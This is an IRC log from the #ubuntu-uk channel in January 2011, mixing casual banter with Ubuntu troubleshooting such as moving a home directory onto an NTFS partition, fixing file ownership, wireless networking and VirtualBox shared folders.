<gord> "-base: /home/gord/bin/rm: cannot execute binary file" - what on earth have a done? O_O
<MartijnVdS> gord: you've removed / from the front of $PATH
<daubers> Hmm... not sure about WD ones at the moment. We usually use Hitachi, but those are server grade rather than consumer
<MartijnVdS> gord: try 'echo $PATH'
<daubers> WD 1TB 2.5" drives are quite nice
<gord> MartijnVdS, no it turns out that /home/gord/bin was in my path, no idea why
<gord> now, to fix the thousand other problems that suddenly jumped at me
<gord> why is my /home/gord/bin full of binary files!
<gord> ghosts!
 * daubers disconnects the ssh session from gords laptop
 * MooDoo just installed a 120gb ssd in his laptop last night :)
<daubers> MootBot: Swanky
<screen-x> daubers: you sounds like jobs, what do you mean by "server grade"?
<daubers> MooDoo: even
<gord> 120gb? thats a lot
<gord> i always figured i only need enough for my os
<daubers> screen-x: Enterprise drives, they're rated for 24/7 read/write cycles
<screen-x> daubers: and normal ones aren't?
<daubers> screen-x: Seagate class them as their NS drives rather then ES drives (I think thats the correct way around)
<MooDoo> gord: i just got a big one
 * screen-x prepares for his nearline backup box to die
<daubers> screen-x: No, they're not :)
<daubers> screen-x: Also, enterprise grade ones normally have a 3+ year warrenty
<screen-x> so what happens if you use cheap disks 24/7?
<daubers> screen-x: Bigger risk of a drive failing
<daubers> screen-x: When you have a raid of 24+ of them it can become an issue
<hamitron> my cheap WD failed :/
<screen-x> I've had some normal sata disks in a backup box for ~2years and it seems to be ok..
<daubers> screen-x: Bet you're not read/writing to it 24 hours a day 7 days a week at full tilt
<hamitron> for some reason my drive went upto 55 C
<hamitron> :/
<screen-x> daubers: no, hourly snapshots, and full backups overnight
<gord> i'v never had fun experiences with WD myself, tend not to buy them anymore so can't comment how they are now
<daubers> screen-x: Yeah, you won't be pummelling those very hard
<screen-x> \o/ disks can live on
<daubers> screen-x: Yup. For a time anyway :)
<screen-x> yes, well all spinning rust will come to an end
<brobostigon> anyone have any pain killers, please.
<daubers> screen-x: To some extents having a RAID mitigates the effect, but you have to balance it off with the added chance of 2 or 3 disks failing at roughly the same time. But to some extents it's all a gamble anyway
<screen-x> I have some ibuprofen..
<brobostigon> thsnk you screen-x :)
<daubers> I have some asprin, paracetemol, dispersible asprin, lemsip and buttercup syrup in my desk drawer
<daubers> Stupid sore throats
<DJones> I have co-codamol & dihydocodeine & diclefenic
<DJones> Not all to be taken at the same time
<MartijnVdS> dihydrogenmonoxide
<Myrtti> mmm Voltaren â¥
<brobostigon> could you send me some  co-codamol please, DJones
<MartijnVdS> cocoa-damol
<Myrtti> I'd sell my mother for a tube of diclofenac gel right now
<DJones> Myrtti: I'm guessing that Voltaren is the same as voltarol/diclafenic
<Myrtti> yup
<Myrtti> does it show I've been a chronic pain patient?
<Myrtti> *blush*
<brobostigon> my eczema and my osteoporosis can cause a huge amount of pain.
<Myrtti> I can't decide should I watch CNN or BBC World
<MartijnVdS> Myrtti: BBC of course
<brobostigon> bbc
 * DJones dcc's some co-codamol to brobostigon 
<Myrtti> Piers Morgan was quite good earlier on CNN
<MartijnVdS> Myrtti: unless you're feeling 'merkin
<brobostigon> thank you DJones :)
<diplo> God i hate css!!!
<diplo> 3 browsers and 3 different results!
<MartijnVdS> diplo: then you're mis-interpreting the spec ;)
<diplo> Gap between two divs in FF and IE are the same, chrome is twice as wide
<screen-x> diplo: css is pure and lovely, its implementations you hate
<diplo> fix it in FF breaks the other 2
 * daubers was at the BBC archive yesterday
<diplo> okay, yes wording wasn't correct :)
<MartijnVdS> diplo: gap between two divs? flowing? absolute?
<MartijnVdS> daubers: oooh, how was it?
<daubers> MartijnVdS: Quite interesting. All their QC machines for checking archive footage run OpenSUSE
<daubers> MartijnVdS: They didn't think me putting a catch in for any files with metadata containing the words doctor and who being emailed to me was funny though
<MartijnVdS> daubers: aww
<MartijnVdS> daubers: how about "bad wolf"
<popey> \o/ Doctor Who!
<popey> Oooo, i am re-watching S5 of new who
<popey> wonder if it downloaded a new ep last night
<czajkowski> popey: new season ???
<czajkowski> nm re read it
<czajkowski> re watching :(
<kieko> Myrtti, what was good about PiersMorgan?
<wintellect> I installed Gnome-Do last night, but it seems to have enabled itself for all users. Is there a way to disable it for specific users?
<popey> no
<Myrtti> kieko: he did interview Oprah quite nicely
<wintellect> popey: was that for me?
<popey> no
<popey> :)
<wintellect> k, thanks :P
<gord> huh, i just realised i have custard creams in the kitchen, this day just got a whole lot better
<hamitron> :)
<popey> oooo i want digestive creams now
<davmor2> gord: I find that sadly worrying that a mere biscuit can make the day so much better, surely you need a beverage too :)
<gord> of course, what are biscuits without something to dunk them in to
<brobostigon> chai :)
<davmor2> gord: now you see, now it's a perfect day :)
<czajkowski> gord: TEA!
 * brobostigon said that, :)
<davmor2> czajkowski: you pagan coffee is the drink of the gods
<pr0ph3t> hi all
<pr0ph3t> can I change my home folder to a separate partition and use that one as default from then on?
<BigRedS> pr0ph3t: yeah. Move the files over, mount the partition where you want it, and add it to /etc/fstab. There's probably a few more in-depth howtos on the net, hang on
<BigRedS> pr0ph3t: https://help.ubuntu.com/community/Partitioning/Home/Moving
<pr0ph3t> thank you
<gord> oh right yes, i have owned my current router for more than a year now, time for it to randomly start acting up
<davmor2> gord: Yay I'm not the only one it happens too
<gord> some randomy devices just lose its SSID now for some reason, my other devices get it fine
<gord> it throws my phone off the wifi all the time too
<brobostigon> i just noticed someone on foursquare, claimed to have checked in at banbury beer festival, when it isnt even held untill early may.
<davmor2> gord: yeap that's the one it wasn't a netgear by any chance was it?
<gord> of course
<gord> oh wait no thats the old one
<gord> this one is belkin
<davmor2> gord: I gave up on belkins.   I have a TP-Link one this time seems to be fine so far,  Although it doesn't allow for internal->external->internal access which I found quite frustrating at first
<pr0ph3t> ext4 of course cannot be read or modified from windows
<gord> depends on if you make it ext3 compatible doesn't it?
<pr0ph3t> I want to have home in a separate partition, for the usual obvious reasons, but also I want to use it to share files between windows and linux installations
<pr0ph3t> yes
<pr0ph3t> I think
<pr0ph3t> but you can only read it?
<pr0ph3t> you cannot modify it I don't think
<pr0ph3t> so I could format it with -O extents and read it from windows but can I also write on it?
<gord> if you want to share files, just make it ntfs
<pr0ph3t> and have my home ntfs?
<gord> no, make another partition
<pr0ph3t> it makes me feel dirty
<gord> you shouldn't have windows read/writing your home directory
<gord> its a recipe for disaster
<pr0ph3t> documents, videos, music, pictures
<pr0ph3t> that sort of stuff
<AlanBell>  s/read/writing your home directory//
<AlanBell> is btrfs going to get a windows driver?
<pr0ph3t> AlanBell, sorry didn't get that
<AlanBell> !btrfs
<AlanBell> hmm no facoid
<pr0ph3t> the future of linux partitions
<AlanBell> it is a fancy new filesystem that is not yet fully baked
<gord> AlanBell, who knows if it will, the devs of btrfs almost certainly won't write one though
<jpds> You're not suppose to bake butter.
<gord> as always these things come about with need, with linux almost fully supporting ntfs safely these days, no one needs to write linux filesystem drivers for windows
 * AlanBell observes that cake contains butter
<r00t4rd3d> cookies also
<screen-x> davmor2: "internal --> external --> internal access" = hairpin nat?
<directhex> AlanBell, ping
<davmor2> screen-x: Meh it's all good I figured out ways around stuff :)
<directhex> AlanBell, you do vtiger, right?
<AlanBell> yes
<AlanBell> TheOpenSourcerer: does it more than me though
<directhex> AlanBell, how much of the functionality removed in sugarcrm's open-core version is implemented in vtiger?
 * AlanBell bats that one over to TheOpenSourcerer 
<TheOpenSourcerer> directhex: Virtually all of it and more.. :-)
<TheOpenSourcerer> In fact I can't really think of what vtiger doesn't do compared to Sugar.
<TheOpenSourcerer> No offline client yes in vtiger.
<TheOpenSourcerer> s\yes\yet
<TheOpenSourcerer> Not sure what "Data Merge and Quality Controls" means in Sugar Speak but vtiger can do dupe checking when importing data,
<TheOpenSourcerer> Other than that - it's all there.
<directhex> reporting? sales forecasting?
<TheOpenSourcerer> You can create reports to your heart's content.
<TheOpenSourcerer> Anaylyse anyway up you need really.
<TheOpenSourcerer> Hmm, OK Forecasting isn't quite there according to what Sugar says theirs does.
<screen-x> talking of sugar/vtiger, has anyone used CiviCRM?
<popey> r00t4rd3d: why are you here?
<r00t4rd3d> chat
<brobostigon> curious choice of nick aswell.
<popey> ok, well given your past history in other channels, and your mails to me which are highly offensive, I'd rather you weren't here.
<r00t4rd3d> sry about that , was alittle upset
<popey> not good enough
<popey> this has persisted for some days now, and I'm not about to let this channel bear the brunt of your wildly swinging moods
<r00t4rd3d> the emails were not specifically to you either
<r00t4rd3d> you just happen to be on the list
<popey> I am on the CC, the mails were to the CC, ergo they were to me.
<r00t4rd3d> hence the list
<popey> still wildly unacceptable for anyone in the Ubuntu community to be acting like that.
<r00t4rd3d> well i would explain in pm if you would like
<popey> nope
<popey> here, #ubuntu-irc or #ubuntu-ops
<popey> r00t4rd3d: would you like to have that conversation here, in -irc or -ops?
<r00t4rd3d> I cant converse with people who have compared me to a murderer , called me a F*ing idiot.
<directhex> can you move it? it's off-topic, and i was, um, talking about installing vtiger on debian. oops...
<popey> r00t4rd3d: we have an appeals process. I'd recommend you use it. if you are unhappy with the outcome of the appeal to the irc council then I recommend contacting the CC, but with some level of lucidity, and without the profanity.
<popey> taking your fight to every other team and loco is unacceptable.
<popey> until that's sorted, I'd ask you to leave #ubuntu-uk please.
<directhex> i'm used to being compared to murderers for my ubuntu contributions. doesn't everyone get that?
<r00t4rd3d> Im not taking anything anywhere , I just want to chat about ubuntu.
<popey> well I'm not happy with you being here. this isn't safe harbour from #ubuntu-offtopic and #ubuntu
<IdleOne> he also uses xx@unaffiliated/r00t4rd3d
<popey> thanks
<popey> nothing to see here, move along.
 * brobostigon looks out in #ubuntu-cym
 * dogmatic69 hides
<hamitron> "move along", knew you never loved us popey ;)
 * popey tickles hamitron 
<hamitron> :|
<hamitron> I actually missed it all :/ playing with rsync
<popey> \o/ arse ink!
<hamitron> cup of tea time now while it does it's work
<hamitron> ;)
<Laney> mmm tea
<bigcalm> mgdm: River Wye
<pr0ph3t> hmmm rsync, it likes to take it's time
<davmor2> zsync for the win
<hamitron> z?
<Laney> client-side rsync
<Azelphur> any drupal-ish people have any suggestions on stopping spam? the spam bots seem to be flying past recaptcha :(
<davmor2> optimised rsync
<gord> Azelphur, throw up five pictures, four of them are puppies, make one a kitten. ask the user to pick the kitten
<Azelphur> haha
<Azelphur> preferably without writing modules
<Azelphur> although that would be awesome :p
<pr0ph3t> does most of what we install goes into the home folder?
<pr0ph3t> in the .program folder
<gord> no, there is no .program folder by default
<hamitron> pr0ph3t: most goes into /usr
<davmor2> pr0ph3t: No,  Home is for you config and personal docs, the programs live in /usr/bin
<pr0ph3t> thanks you
<Azelphur> I built an app from source, but now I want to clean it out and use the version from the repository, so I did sudo make uninstall, but when I try to run the app it still tries to run it from /usr/local/bin rather than /usr/bin
<AlanBell> is there something still in /usr/local/bin/appname?
<Azelphur> nope
<dwatkins> Does a new terminal show the same behaviour, Azelphur?
<AlanBell> why do you say it is running from /usr/local/bin?
<dwatkins> Just wondereing if it's cached in the shell.
<Azelphur> oh, the behaviour only happens in old terminal windows
<Azelphur> some env variable must need to refresh S:
<Azelphur> :D*
<dwatkins> rehash, Azelphur
<Azelphur> yea
<dwatkins> or just start a new window
<Azelphur> sorted :)
<dwatkins> mind you, I don't think that exists anymore in newer versions of bash
<dwatkins> woohoo, IRC saves an otherwise disastrous day :D
<Azelphur> indeed
<hamitron> now to decide on my new partition table :/
<hamitron> this always ends in a mess
<AlanBell> TheOpenSourcerer: for Natty +1 I think the regular mono removal post should have a corresponding QT removal analysis
<AlanBell> I am all in favour of QT being in the default distro, but as with mono, the best way to find out what exactly it is doing is to remove it
<gord> i'll never understand people who want things removed from the cd, i mean, they can just remove them their self, why do they care what other people are using?
<directhex> i still don't quite understant why Qt
 * hamitron just doesn't understand ;/
<AlanBell> stuff like this I expect http://labs.qt.nokia.com/2009/05/13/qt-declarative-ui/
<AlanBell> I want a severed finger like that
<gord> gtk is kinda decaying a bit, stagnating, there have been no interesting developments for a long long time. whilst qt is really zooming along, i mean it needs the apps toe back it up (imo) but the toolkit is impressive
<bigcalm> AlanBell: that looks like a useful finger
<hamitron> stagnating is good if you don't want change...
<davmor2> AlanBell: That can be arranged I have a sharp knife knocking about somewhere :D
<hamitron> right, need food
<hamitron> and beer
<brobostigon> :)
 * AlanBell needs food
<hamitron> bbl
<hamitron> o/
<AlanBell> I think a hunt for frites is in order
<Myrtti> iihhhh diclofenac gel
<Myrtti> I love this world
<bigcalm> Hungryyyyyyyyy
<bigcalm> Dieting sucks
<Azelphur> free -m?
<Azelphur> whoops, wrong channel
<Myrtti> we just went for thai and I couldn't finish my food
<bigcalm> Myrtti: boxed the rest and took it home I hope!
<Myrtti> no, I just wanted out of there, I managed to nibble all the chicken from the plate, left half the veg and rice and sauce there tho
<bigcalm> Ah, pain getting to you?
<Myrtti> yeah, couldn't even swallow at that point
<Myrtti> (without pain)
<Myrtti> now I've got heatpads for tomorrow and voltarol gel for tonight
<bigcalm> Yay
<Myrtti> atleast the placebo seems to kick in nicely
<Myrtti> and the pharmacist spoke English +++++++++
<bigcalm> Alternating heatpad and cold pad on the area helps loosen up silly muscles
<bigcalm> Don't they normally?
<czajkowski> popey: USB!
<bigcalm> Doggy walking time!
 * bigcalm scampers
<davmor2> czajkowski: Bunnies! that'll be about as random as USB to popey
<mgdm> bigcalm: hehe
<siya> evening all
<siya> Am looking into my mp3 collection which I'been neglecting for a long while
<siya> Was hoping to use Amarok and have it scan the files on my nas
<siya> seems the nautilus not mounting to file-system is biting me
<siya> is there a solution to this other than manually mounting my share?
<pr0ph3t> re all
<Azelphur> hmm, my flash player doesn't seem to be working
<Azelphur> I have flashplugin-nonfree installed, but it doesn't work on ff or chrome and theres nothing in about:plugins
<pr0ph3t> I get an error message after changing my home directory, E: core-util.c: Home directory /home/blabla not ours, why? I thought with rsync you kept all the permissions?
<pr0ph3t> pulseaudio doesn't work properly now
<pr0ph3t> actually it doesn't start at all
<X3N> rsync will do what ever you told it to do
<pr0ph3t> X3N, so I need to do a chmod now for the whole home folder?
<X3N> chown probably. e.g. chown username.username ~/.pulse/ -R
<X3N> and the folder it's self
<X3N> if needed, you can check the permissions on it first to see if you're barking up the right tree
<pr0ph3t> X3N, root owns it
<X3N> that's a problem then, assuming you're not root
<pr0ph3t> X3N, well
<pr0ph3t> it's my user home folder
<X3N> ok, then it shouldn't be owned by root
<pr0ph3t> too right
<Darael> X3N: Chown syntax is "chown user:group file" rather than "chown user.group file".  Oh, and "chown user:" is a shortcut for "chown user:usergroup".
<dwatkins> When did the chown syntax change?
<pr0ph3t> so what would be the quickest way to change permission to the folder and all the rest of it?
<Darael> I've always known it is user:group.  Maybe user.group works too, I didn't know if it does.  pr0ph3t, you want chown -R, as X3N suggested.
<X3N> using . is perfectly valid
<dwatkins> Is there any difference between the two?
<X3N> you want sudo chown $USER.$USER ~/.pulse/ -R
<pr0ph3t> X3N, or sudo chown $USER.$USER /home -R ?
<X3N> no
<pr0ph3t> because home should owned by user right?
<pr0ph3t> oh
<X3N> you don't want every file within /home to be yours, you might have other users
<X3N> you'd need to specify your own home directory e.g. /home/$USER/
<shauno> user:group vs user.group is mostly cosmetic.  unless you have a . in a username, then : becomes a must :)
<pr0ph3t> X3N, right sorry, I don't have other users but I see what you mean
<dwatkins> aha thanks shauno
 * dwatkins never thought characters like . were allowed in usernames
<pr0ph3t> X3N, nothing changes root is still the owner and not the user
<shauno> dwatkins: depends who you ask I think.  my sanity says only alphanumeric.  Open Group add dot, dash, underscore. and of course, AD laughs in the face of sanity.
<X3N> pr0ph3t: was there any output of the command?
<pr0ph3t> X3N, .gvfs Permission denied
<pr0ph3t> X3N, that's normal though right?
<jacobw3> evening
<X3N> did you run the command with sudo?
<pr0ph3t> so pulseaudio tells me error /home/user not ours
<pr0ph3t> I do chown etc but the error is still there
<pr0ph3t> and by the looks of it nothing has really changed
<pr0ph3t> ls -l /home/user tells me they are all owned by root still
<pr0ph3t> sudo chown $USER.$USER /home/user/ -Rv is the command I run and I get all the emssages saying changing ownership to user.user
<AlanBell> pr0ph3t: how is that mounted?
<directhex> i think the order of arguments matters for chown? -R goes at the start
<pr0ph3t> AlanBell, from fstab read/write
<AlanBell> and it is a linux filesystem, not fat or something odd?
<pr0ph3t> I'm scared now
<pr0ph3t> maybe it is something odd
<AlanBell> lets have a look at the fstab line
<pr0ph3t> it's ntfs
<pr0ph3t> which is really odd
<brobostigon> your /home on ntfs, iwouldnt of thought that was possible.
<pr0ph3t> but now I think I'll move the home folder to a ext4 partition and simply link all the directories with docs, video, music etc. to the ones on the ntfs partition?
<pr0ph3t> brobostigon, I just tried it and it works
<brobostigon> pr0ph3t: amazing,interesting,
<AlanBell> for small values of works
<pr0ph3t> it was just a test
<jacobw3> can i make a bootable usb from an iso using dd?
<AlanBell> :) I think it failed
<pr0ph3t> AlanBell, indeed it did
<brobostigon> jacobw3: it would write, but maybe not bootble. i think you would need somethinglike unetbootin to make it.
<AlanBell> pr0ph3t: have a look at man mount down at the options for ntfs bit
<AlanBell> you can specify in fstab the userid and group id it should be so it doesn't have to be root
<pr0ph3t> so can I link all the media folders in my home to the ones in my ntfs partition, so that they are just links in /home/user ?
<AlanBell> for a single user system (or multiple mountpoints) you could specify the uid= and gid= options
<pr0ph3t> I would still have a ntfs partition for my home, which is not what I really intended, but it is amazing what you can do with linux
<AlanBell> is this system going to have just one user?
<pr0ph3t> and annoying how limited you are with other OSs
<pr0ph3t> AlanBell, yes
<AlanBell> grep pr0ph3t /etc/passwd
<AlanBell> that should tell you your uid and gid
<AlanBell> probably 1000:1000
<pr0ph3t> AlanBell, yup
<AlanBell> then in the fstab where you are mounting that partition add uid=1000,gid=1000 to the options bit
<AlanBell> which is before the 0 0 at the end
<AlanBell> then remount it and everything on the drive should be owned by you
<pr0ph3t> AlanBell, I have nodev, nosuid at the moment
<AlanBell> great, add a comma and the other options
<AlanBell> then unmount it and sudo mount -a
<AlanBell> not sure if things get upset with unmounting /home on a running system
<pr0ph3t> AlanBell, they do
<pr0ph3t> have to boot
<AlanBell> ok
<pr0ph3t> brb
<AlanBell> nice little hack if it works
<MonsterKiller> hey. I wanted to try and install minecraft server on ubuntu server 10
<MonsterKiller> and it needs java but i cant find the right packages
<MonsterKiller> 10.04*
<popey> i have it running on ubuntu right here
<popey> but 10.10
<MonsterKiller> :D
<popey> using openjdk icedtea6 1.9.2
<popey> whatever that means
<MonsterKiller> lol
<MonsterKiller> popey, so minecraft server works with openjdk? or did you just mean you had java runnning?
<MonsterKiller> running*
<popey> yes
<popey> it works fine
<pr0ph3t> I officially own my home folder on ntfs partition
<pr0ph3t> AlanBell, thanks
<MonsterKiller> can i ask, how much mem/cpu does minecraft server use?
<AlanBell> yay
<popey> MonsterKiller: as much as you give it
<pr0ph3t> :)
<popey> I have given 2GB to mine
<MonsterKiller> lol
<popey> thats the truth :)
<MonsterKiller> xD
<popey> it will run in 1GB
<MonsterKiller> does it use all that?
<popey> its java, so yeah
<MonsterKiller> lol :/
<MonsterKiller> 1GB for it is a lot
<MonsterKiller> :p
<AlanBell> pr0ph3t: that isn't a supported configuration, but it is a nice little hack
<AlanBell> bad things might happen, but if they do you own all the pieces
<popey> bah
<popey> minecraft.net is down
<MonsterKiller> yeah
<MonsterKiller> :/
<popey> means I can't play on my own local server which is annoying
<MonsterKiller> popey, you think it would work well with 512 ram? :p
<popey> "work", maybe
<popey> "work well", no
<MonsterKiller> lol
<MonsterKiller> *sigh*
<MonsterKiller> ah well
<pr0ph3t> AlanBell, sweet
<AlanBell> wow, you can chain ssh -X over multiple hops
<popey> you can
<mgdm> ooooh
<pr0ph3t> balls, pulse audio doesn't work still
<ubuntuuk-planet> [Jono Bacon] Some Further Notes On Qt In Ubuntu - http://www.jonobacon.org/2011/01/18/some-further-notes-on-qt-in-ubuntu/
<ubuntuuk-planet> [Matthew Garrett] LCA 2011 has moved - http://mjg59.livejournal.com/133216.html
<pr0ph3t> the only way apparently is to have yet another partition just for ~/.pulse with a filesystem which supports symbolic links
<Azelphur> lol 3 are randomly giving me free stuff xD
<Azelphur> I pay for 100 minutes 3000 texts and 1GB internet
<Azelphur> just looked in my web panel, I have 101 minutes remaining, 1.5GB internet and 3.5k texts \o/
<n1md4> evening.  I've lost wireless connection on my nx8220 laptop.  It uses the ipw2200 module, and was working earlier today.  ifconfig shows the interface, and lsmod lists the ipw2200 module.
<n1md4> I used ifconfig eth1 ... to manually configure the interface, and since then it's lost wireless (i.e. doesn't show up in network-manager)
<n1md4> Any ideas?
<daubers> I love virtualisation
<n1md4> Solved.  It turns out that network-manager doesn't like manual entries in network/interfaces
<MartijnVdS> n1md4: it does, as long as you also include "auto" statements for the interface
<MartijnVdS> n1md4: then it ignores the interface
<n1md4> Ah!  I've already removed the entry, but no doubt I missed out something!  Thanks, Marti
<MartijnVdS> np
<danfish> daubers: Shurely cake is still your fist love ;)
<tugrik> n1md4: if you're knowledgable enough to edit config files, i'd be tempted to uninstall network-manager
<danfish> oops - dreadful typo s/fist/first
<tugrik> but that said, I didn't know about MartijnVdS's point about "auto"
<czajkowski> we now have a target date of the weekend of 5th and 6th February for the release" of Debian Squeeze! http://goo.gl/y4ro8
<MartijnVdS> What?! February?
<MartijnVdS> Must be '12?
<tugrik> harsh
<MartijnVdS> tugrik: just basing it on history
<daubers> danfish: absolutley
<daubers> Also, got VPN stuffs working all happy now :D
<daubers> Just need to change a static route at the office and all is hunky dory
<danfish> daubers: excellent
<danfish> daubers: you going to be at the opensourceexpo in a couple of weeks?
<cps> evening peeps :)
<brobostigon> evening ttm cps
<brobostigon> nos da, sleep well.
<dwatkins> popey: I just saw your face on a page I was looking up xrandr info on, made me smile
<popey> dwatkins: eh?
<dwatkins> popey: you had asked a question about nvidia drivers and xrandr on here
<dwatkins> http://linuxers.org/quick-tips/change-screen-resolution-thru-commandline-using-xrandr
<dwatkins> well, implied a question
<dwatkins> unless that's someone else
<popey> hmmm
<mgdm> xrandr is the only way I can get my external screen to work
<popey> i answered
<mgdm> the monitors applet kills X
<popey> although I dunno where they scraped that from
<popey> but i dont think I answered it there
<dwatkins> yeah, popey - I often encounter the same thread reproduced on various sites like that, it's aggravating when you're trying to find a different one
<popey> yeah
<dwatkins> not that your reply aggravated me, just other ones
<dwatkins> mgdm: I was just trying to get my Eee 901 to display on my new TV, it worked ok but didn't do a resolution with the same aspect ratio as the TV, I guess I need to reconfigure X
<popey> should work fine
<popey> its intel after all
<popey> hi kazade
<popey> dwatkins: whats the full output of just running xrandr with the tv plugged in?
<popey> and what resolution is the tv capable of?
<gord> YES! wifi working on the ac100!
<gord> turns out my router was on a channel it couldn't get to
<popey> 13?
<gord> 12
<kazade> hi popey
<dwatkins> popey: I appreciate I
<dwatkins> popey: I appreciate I'm running jolicloud, not stock ubuntu, but... http://ubuntu.pastebin.com/gYJc5dfy
<gord> huh couldn't get data to pass over wifi till i disabled bluetooth, interesting
<dwatkins> I guess I can use that first listed resolution and it should have the correct aspect ratio...
<popey> and switch off internal display, yes?
<dwatkins> haha, jolicloud can't handle the large screen size
<popey> otherwise you go over the maximum 2048x2048
<dwatkins> yeah popey - I'm running irssi in 1920x1080 :D
<popey>  _   _       _ _       _
<popey> | | | |_   _| | | ___ | |
<popey> | |_| | | | | | |/ _ \| |
<popey> |  _  | |_| | | | (_) |_|
<popey> |_| |_|\__,_|_|_|\___/(_)
<popey>                          
<popey> thats half the screen gone
 * dwatkins sniggers
<dwatkins> no, it has about 100 lines
<popey> nice
<gord> thats... thats weird, there is no xchat package on arm but there is an xchat-gnome
<dwatkins> the font is fairly small, it's excellent
<dwatkins> lets see how other stuff displays, back later...
<czajkowski> ââââ  ââââ ââââ
<czajkowski> ââââ  â âââââââ
<czajkowski> â ââ  â ââ ââ â
<czajkowski> â ââââââ â ââ â
<popey> indeed
<popey> http://packages.ubuntu.com/search?keywords=xchat
<popey> no arm xchat
<directhex> arm isn't shown on puc is it?
<gord> everyone prepare for me to sit and complain about xchat-gnome for the next six months ;)
<directhex> no.
<rww> xchat-gnome is in main and xchat isn't. maybe is that?
<czajkowski> there really should be an Ubuntu event here http://www.thekernelbrewery.com/
<gord> it has brewery in the name, without loading i approve
<popey> directhex: it shows ppc!
<gord> i wonder if it would be quicker for me to write all the 0's and 1's on paper than it is to write on this sd card
<Myrtti> moar voltarol! MOAR!
<directhex> popey, back when ppc was a thing, yeah
<directhex> popey, trust me. shows arm for no packages
<popey> i do
<czajkowski> Myrtti: stil no relief
<gord-ac100> huh, this thing is real fast once it gets going
<Myrtti> czajkowski: no, not really
<czajkowski> Myrtti: feck, shower of no help, try again or any luck getting heat pads?
<czajkowski> Myrtti: you in the UK ?
<Myrtti> .de
<czajkowski> ahh
<hamitron> feck?
<hamitron> :)
<Myrtti> got heatpads but saving them for tmoz
<czajkowski> nods
<n1md4> tugrik: Heh!  I've been very tempted to uninstall network-manager a number of time; in favour of the command line ;) --but actually, I'm quite lazy!
<hamitron> what is all this about uninstalling stuff? :|
<Myrtti> might as well try the meditation again, trying to concentrate on the feeling of breath on upper lip and trying to forget the ache...
<hamitron> just use the mini.iso and install what is needed ;)
<gord> ha, there we go, i'm almost certainly gonna have to build xchat for arm myself but at least i have something now :)
<hamitron> gord: what system you on?
<gord> ac100
<hamitron> like it?
<gord> if i can get sound and video working + a nice browser (thinking chrome for the speed) then i will love it
<directhex> just enable universe?
<hamitron> I got a NAS with a different architecture, that I thought I could play with
<hamitron> but then I relised I am storing data on it I don't want to risk :/
<directhex> http://ports.ubuntu.com/pool/universe/x/xchat/xchat_2.8.8-3ubuntu4_armel.deb - see that right there?
<hamitron> realised*
<tugrik> n1md4: :)  It's probably an over-reaction, but has worked for me
<hamitron> 1024x600 resolution screen :/
<hamitron> gord: where I get one? ;/
<gord> hamitron, ebuyer.com
<hamitron> doh
<hamitron> ebuyer > google
<gord> i always search for tech stuff on ebuyer before anywhere else
<hamitron> Â£265 :|
<hamitron> I was hoping it would be cheaper
<gord> its basically a top of the line (really really top of the line) phone with a giant screen and a keyboard, of course its not gonna be cheep
<hamitron> does it take a sim card?
<gord> some models do, the cheep ones don't
<gord> cheeper* ;)
<gord> "sudo: vim: command not found" bites me every time =\
<hamitron> does the ebuyer one take a sim?
<hamitron> can't see it mentioned
<hamitron> looks nice though
<hamitron> :)
<hamitron> oh, Â£325
<hamitron> :(
<gord> you could just get a usb 3g modem ;)
<hamitron> I was wanting to get rid of my phone
<hamitron> ;)
<gord> oh, you wouldn't want to make calls on this
<gord> its not a small netbook
<hamitron> I haven't made a call for 2 years...
<hamitron> ;/
<hamitron> be nice to have the function to
<hamitron> using a headset
<gord> you also can't fit this netbook in your pocket ;)
<hamitron> ah well, lucky I never carry my phone with me
<hamitron> :)
<hamitron> I suppose buying a number for skype would be cheaper
<hamitron> then just run that on my normal comp
<hamitron> someone has to make a side talking mod for this, to celebrate the life of the ngage
<hamitron> I propose this as your mission gord
<hamitron> :)
<gord> the supprising thing about the ac100 is how small its battery really is, i'm gonna look for an upgrade for it, i mean, getting a battery twice as big would be fine and then i would get soooo much battery life
<hamitron> it does sound like it lacks life
<Udre> hey room
<HazRPG> would this be the right place to ask about VirtualBox problems?
<HazRPG> granted it is ubuntu (sort of) I'm having issues with too but host machine is windows
<HazRPG> Problem I'm having is that ubuntu won't mount the Shared Folders
<hamitron> shared folders where?
<HazRPG> Well like I said the host machine is a windows one, running VirtualBox, and I've setup shared folders
<HazRPG> the command should just be "sudo mount -t vboxsf <shared_folder_name> <dir_to_mount_to>"
<HazRPG> but I keep getting "mounting failed with the error: Invalid argument"
<hamitron> hmmm
<hamitron> need a virtual box user
<HazRPG> Reason I'm doing it is I love ubuntu, but I need windows too. And since I have 6GB of RAM, and a decent GFX card I can now run both simultaneous
<HazRPG> (oh and two monitors)
<hamitron> I dunno myself :/ could try #ubuntu or a virtual box channel, as this is not really the peak time for the UK
<hamitron> but your setup sounds good :)
<HazRPG> you'd think all the geeks would be up at this time xD
<hamitron> so good luck with it
<hamitron> hehe
<hamitron> that or drunk
<hamitron> ;)
<HazRPG> heh true ;)
<HazRPG> also, thanks
<hamitron> the night owls may wake up soon I suppose
<HazRPG> I really wish developers would build for linux :(
<hamitron> build what?
<HazRPG> games :P
<hamitron> ah, games
<hamitron> :)
<hamitron> that is 1 area I agree
<HazRPG> and applications, however I have managed to rid myself of most of the things that kept me tied down
<hamitron> wine and cedega are a lot better now than they once were
<HazRPG> Aptana for all my web developer needs (hurrah!)
<hamitron> but not the same as native clients
<HazRPG> see, people keep saying that ... but I still fail to see it
<HazRPG> I'm yet to get even StarCraft to run off it
<HazRPG> or even Adobe Flash
<hamitron> starcraft 1?
<HazRPG> (Macromedia Flash works however... the new stupid UI in CS5 seems to do horrid things in linux)
<HazRPG> lol yeah, SC1
<hamitron> starcraft 2 works perfect it seems
<HazRPG> really?
<HazRPG> hmm I might have to test that theory
<hamitron> appdb.winehq.org
<hamitron> is my source
<hamitron> not actually done it myself, I choose windows as my gaming platform
<HazRPG> personally I feel that VirtualBox or similar should just make it so that it communicates with the graphics driver better
<HazRPG> yeah I know, I always check there from time to time
<HazRPG> WoW is meant to run off it, and when I use to play that, I could never get it to run... at all
<hamitron> I found WoW perfect, back when it was first released
<hamitron> I did run in opengl mode though
<HazRPG> I did too
<HazRPG> still couldn't get it to work
<hamitron> :/
#ubuntu-uk 2011-01-19
<HazRPG> problem with wine is that is very very dependant on what parts and drivers you use
<HazRPG> heh, there's no virtualbox channels
<rww> #vbox
<HazRPG> xD
<hamitron> :)
<HazRPG> was just going to say alis saved me :P
<HazRPG> might have to try wine again on my regular ubuntu install on this machine at some point ^^
<gord> benchmarked chromium on this arm chip, gets a better benchmark score than an i7 with IE 8 ;)
<gord> almost 10 times slower than chromium on an i7, but thats to be expected
<HazRPG> wait, so your arm processor works better than the i7 one?
